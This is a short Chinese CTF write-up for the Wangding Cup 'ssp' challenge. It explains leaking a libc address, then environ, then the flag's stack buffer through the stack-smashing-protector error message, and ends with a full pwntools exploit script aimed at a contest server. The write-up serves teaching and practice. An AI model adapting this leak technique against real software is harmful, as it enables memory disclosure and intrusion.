网鼎杯第一场 ssp wp
首先考虑利用ssp进行泄露,由于flag在栈上,直接写循环leak爆破栈地址,失败,之后考虑爆破canary,爆破失败,而且由于只进行三次fork,所以之后内存数据会更新导致无法进一步泄露,所以放弃爆破canary的思路。之后重新考虑ssp,利用ssp泄露libc函数,然后查找得到libc库,之后能得到libc.environ,泄露libc.environ中保存的地址后,gdb调试一下得到buf偏移,计算得到buf真实地址,最后一次输入淹没泄露buf内容,脚本写的太烂,就不放上来了。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * leaksome={'leak':0} p = remote('106.75.90.160', 9999) pop_rdi_ret=0x0000000000400c13 strcmp_got=0x00000602050 gets_plt=0x000000000400830 payload='a'*0x128 payload+=p64(0x000000602048) p.recvuntil('r guessing flag') p.sendline(payload) p.recvuntil('detected ***: ') leak=u64(p.recv(6).ljust(8,'\x00')) leaksome['leak']=leak libc_base=leak-0x20740 env_addr=libc_base+0x00000000003c6f38 payload='a'*0x128 payload+=p64(env_addr) p.recvuntil('r guessing flag') p.sendline(payload) p.recvuntil('detected ***: ') leak=u64(p.recv(6).ljust(8,'\x00')) leaksome['leak2']=leak stack_addr=leak payload='a'*0x128 payload+=p64(stack_addr-0x168) p.recvuntil('r guessing flag') p.sendline(payload) p.recvuntil('detected ***: ') print p.recv(1024)
|